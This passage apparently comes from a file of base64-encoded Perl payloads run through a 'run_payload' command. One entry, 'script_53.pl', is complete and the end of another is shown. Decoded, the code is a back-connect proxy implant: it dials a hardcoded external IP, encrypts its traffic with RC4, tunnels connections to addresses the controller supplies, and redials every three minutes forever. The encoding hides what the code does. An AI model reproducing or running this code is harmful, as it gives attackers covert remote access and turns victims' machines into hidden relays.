dWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_53.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk1JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidW